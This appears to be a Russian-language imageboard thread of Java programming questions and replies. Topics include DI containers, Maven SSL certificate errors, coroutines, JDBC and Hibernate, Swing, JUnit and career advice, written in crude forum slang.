Пиздец как хочется написать свой DI-контейнер на процессорах аннотаций, чтобы строить граф зависимостей сразу в компайл тайме, но времени вообще нет. Может кто-то хочет присоединится?
>>2259416 Я с ним не работал, так что могу чего-то не понимать, но там как будто бы слишком много аннотаций под специфичные случаи. В итоге ментальная модель получается куда сложнее, чем у спринга (ванильного). Может я ошибаюсь, и это мнение у меня сложилось из-за наличия опыта на спринге. Но в общем мне бы хотелось что-то более простое сделать.
Please help, SSL-нуб на связи. Задача: сделать maven репозиторий, доступный для всех из интернета.
Поднял по общедоступному URL-у self-hosted maven repository с поддержкой SSL. Сертификат от Let's Encrypt.
У репозитория есть фронтенд, который отлично работает через браузер по HTTPS. Но mvn-клиент с этим репозиторием работать не хочет. В pom.xml прописан URL репозитория c https:// и при попытке подтянуть зависимость, падает с ошибкой:
PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target
Я знаю, что можно указать для mvn-клиента keystore.jks, но неужели это единственный способ заставить его поверить серверному сертификату от Let's Encrypt?
P.S. Между прочим, даже сайт maven.apache.org имеет сертификат от Let's Encrypt.
>>2259431 Асинк/эвейт чисто синтаксическая конструкция, которая заменяет еблю с CompletableFuture.get()/accept()/apply() и прочее на читаемый синтаксис и пробросом ошибок. Но не предполагает и не исключает использование корутин (об этом ниже). В го такого нет, там синтаксис асинков можно сделать через каналы, но это уродливый костыль, как и всё в го. В котлине это suspend функции.
Зелёные/виртуальные треды/корутины это не треды, а некоторая минимальная инфа о контексте выполнения, которая стоит в очереди чтобы выполниться на реальном потоке. В го и котлине это M:N модель, которая в общем сводится что рабочих потоков у тебя сколько и ядер. Только в го этим управляет виртуальная машина, а в котлине реализовано на уровне библиотеки. Из-за того что корутины всегда двигаются по стеку рабочего потока, а не аллоцируют свой собственный их можно создавать миллионами без особой просадки по памяти. Из-за того что корутины это не системные потоки, ос не нужно впустую выделять им кванты времени и переключать контексты, что положительно влияет на ос в целом. Но. Из-за того что корутины полагаются на ограниченный пул рабочих потоков, корутина с cpu consume задачей (цикл из миллиардов элементов, например) тупо затормозит очередь других корутин, даже если им нужно просто сложить 2+2 они будут ждать пока первая корутина завершит свою задачу. Потоки в таком сценарии выполнялись бы без тормозов (ос бы всем выделила поровну времени). Профит корутин будет заметен при огромном количестве блокирующих операций (http запросы, например).
Асинк/эвейт с точки зрения синтаксиса критикуют, потому что он требует помечтать всю цепочку функций асинхронной (red blue functions). Хотя с другой стороны это явный знак что вызываемый код это корутина, значит код может вернуть управление уже в другом рабочем потоке, а это в некоторых сценариях причина задуматься о синхронизации. Плюс это даёт возможность запустить корутину от которой не требуется результат, и продолжить выполнять текущий код без остановки. В общем это всё даёт выбор и корутины и асинк/эвейт должны дополнять друг друга.
>>2259795 Для текущей задачи не подходит, т.к. проекты не на GitHub, а на self-hosted git server, но штука, видимо, крутая. Можно в качестве зависимости прямо ссылку на проект в GitHub указывать что ли?
>>2260387 Почему именно 8? Я заметил, что во многих ОС по-умолчанию ставится 11 версия (ставил виртуалки с чистых образов и там уже была жвм). В скором времени заменят на 17.
>>2259786 А что насчет неблокирующего доступа к базе данных? Я так понимаю, что все общение через JDBC блокирует поток, пока данные достаются из недр таблиц и пересылаются через сокеты. Сейчас есть нормальный способ писать неблокирующую работу с базами данных? Слышал про R2DBC, но он то ли умер, то ли заглох, то ли еще не готов к проду. Так ли это? И почему в JDBC до сих пор не сделали асинхронного доступа к БД, хотя во всяких фреймворках на node.js он уже давно есть?
Кто-нить работал с Hibernate? Есть две таблицы, связь many to many, грубо говоря таблица записей и таблица ее тегов. Нужно как-то вставлять запись с тегами, но при вставке записи, у которой уже есть ранее записанный тег, происходит ошибка, из-за того, что вставляется дубликат. Можно как избежать этого?
Обязательно ли вообще этот спринг учить? Помню в универе мы писали сетевые программки без всяких библиотек. Мне даже автомат поставили за лабу со звездочкой.
>>2261075 > сетевые программки без всяких библиотек Очевидно, что сами сторонние либы как-то написали, и у их авторов не было ничего кроме кора. Но ты же не будешь каждый раз с нуля писать велосипед? Вот и кабан за велосипеды платить не станет.
https://habr.com/ru/post/599845/ Ну теперь везде будут искать подобные уязвимости. В конечном итоге придет к тому, что JNDI и RMI - сами по себе уязвимости.
Анон подскажи пожалуйста. Смотри , есть строка . Например : A -> A -> B ->A , A->B->A, A . Мне нужно ее разделить на три строки. Разделителем служит запятая. Я знаю что можно пройтись по строке как по массиву и копировать символы в массив чаров , пока не дойдем до запятой. Но можно ли эту задачу как то через регулярные выражения решить.
>>2261702 Ну если ты петпроект разрабатываешь, то да, неактуально. В других случаях очень актуально, при чём тут git blame? Представь вот ты тестировщик, у тебя пайплан по развёртыванию навернулся. Ты будешь лезть в код и смотреть кто ченджсет написал? Ага, конечно
Такой вопрос: Если есть класс "A" и "B extends A", и в родителе (А) определен какой-то член value, то как (с точки зрения перформанса) лучше делать конструкторы? Есть вариант в классе "B" сразу сделать конструктор, который принимает все значения его полей, включая наследуемое, оставив при этом в "А" только пустой конструктор, либо лучше в "А" реализовать свой конструктор, и вызывать его через super(value) в конструкторе B? Вроде как, второй вариант дб получше, типа в любом случае же неявно вызовется путой, и все инициализирует нулями/нулами, и только потом перепишет. Но все же хотелось бы убедиться. Вызовов планируется оче много, потому хотелось бы оптимально
>>2261841 Если твой сетер это тупо присваивание к полю и больше ничего, то без разницы, иначе смотри на логику твоего сетера. Но при инициализации через конструктор можно сделать поля финальными, это слегка оптимизирует работу gc, но в пределах погрешности вряд ли будет хоть какой то вообще профит.
>>2261841 Конструктор это просто метод, он точно так же может инлайниться JIT-ом если он маленький.
Но в целом вопрос выглядит немного диковато. Если у тебя создается так много объектов и тебе беспокоит перфоманс - то стоит подумать или о пулинге объектов или о том, чтобы заменить объект на примитивные типы. Потому что GC на весь этот мусор - сожрет весь перформанс.
>>2259132 Нетбинс так долго грузит что ли? Я пару раз пробовал, вроде нормально загружался. Там проблема, что он неудобный и надо настраивать после установки.
>>2261743 >Представь вот ты тестировщик, у тебя пайплан по развёртыванию навернулся Как узнать, что он навернулся из-за логики в ченджсете, а не из-за того, что сеть моргнула?
>>2262127 С чего это он должен быть на Котлине!? На джаве уже много лет пишут проги под андроид и будут писать. Ей принадлежит 99% всей мобильной разработки.
посоветуйте вкатышу простенькие консольные проекты. куда не смотрю - везде одни хуйни с интерфейсами, но мне кажется, что рано делать с интерфейсами, надо сначала разобраться без них как все работает
>>2262551 >>2262610 Как вы меня так быстро раскусили? Мне нужна кроссплатформа, что бы всё работала на винде и в линупсе. Я думал в ноябре выпустят MAUI для дотнета, но микрософты обманули. Поэтому сейчас учу джаву.
>>2262650 >MAUI для дотнета, но микрософты обманули
Если я все помню, то там официальной поддержки линукса не было. Только винда, мобилки и макось. А линукс "поддержка на уровне коммьюнити", то есть никакой. Gtk# и какие-то формочки в Mono есть - вот и жрите, хуле не нравится. А я сам хотел на шарпе пописать под линукс десктоп, потому что на шарпе гораздо приятнее писать, чем на том же С++ под Qt. В итоге приходится писать на старом, древнем, помойном легасном Swing/AWT.
>>2264326 Все равно популярность у свинга значительно больше. Всяких туториалов и либ для свинга больше. Да и он в jdk и jre есть, не нужно дополнительные жарники за собой возить. Вообще, надеюсь и свинг выпилят к 2025 году в отдельную библиотеку.
Такой вопрос пацаны. Касается веб разработки. Я уже год кожу на джаве , есть пару проектов на спринге. Есть друг фронтендер , с которым проекты пилил , советует мне перекатиться на питон. Суть в том что я как бы не хочу , мне нравится джава. Есть ли у питона и его фрэймворков реальные преимущества что бы учиться писать бэк на нем ? Ну и объективно что лучше/хуже.
>>2269263 Анон, дтошка на то и дтошка, что она хранит временно и сейчас хоть ты из бд бери, хоть из инета jsonом получай - все автоматически маппится с помощью библиотек типо jackson. Ну если совсем пиздец типо jdbcTemplate - ручками перегоняешь rowSet в дтошку и нужные тебе коллекции.
Конечно можно и только id хранить, а потом с помощью сложного запроса доставать определенный объект, но это два запроса и это как по мне хуйня идея.
Сап двачек, я инфантильный кусок говна, но вроде не тупой окончил бамонку, да и с математикой вроде не плохо, работаю на манагерской должности в кулл центре. Сутра на работу опять пиздос труд облагораживает человека и другие вытекающие из жопы. Так вот, хотел вкатиться в прогеры есть такая пожилая креветка как Сергей Немчинский, у него есть курс, деньги у меня есть немного не мало, стоит ли туда вписаться ? И с чего можно начать ? Помогите плз, либо дайте ссылочку на тред где и как для тупых ебланов все объясняется. Сам на дваче не давно, хз что да как.
P.S Знаю двач все хуесосят за токсичность, но на мой взгляд по сравнению с выродками из тг каналов всяких всратых прогерских форумах и вк скотов тут не так уж и плохо, помогите плз.
Тут есть люди которые работали со спрингом и со спарком? Что по вашему мнению интереснее и перспективнее? Заметил что многие перекатываются в бигдату со сприга, даже тот самый Борисов.
Когда кидаю исключение expected. у меня подсвечивается красным expected и пишет can't resolve method . Как решить проблему? @Test( expected = IndexOutOfBoundsException.class) public void testFooThrowsIndexOutOfBoundsException() { foo.doStuff(); } PS: Intellij IDEA.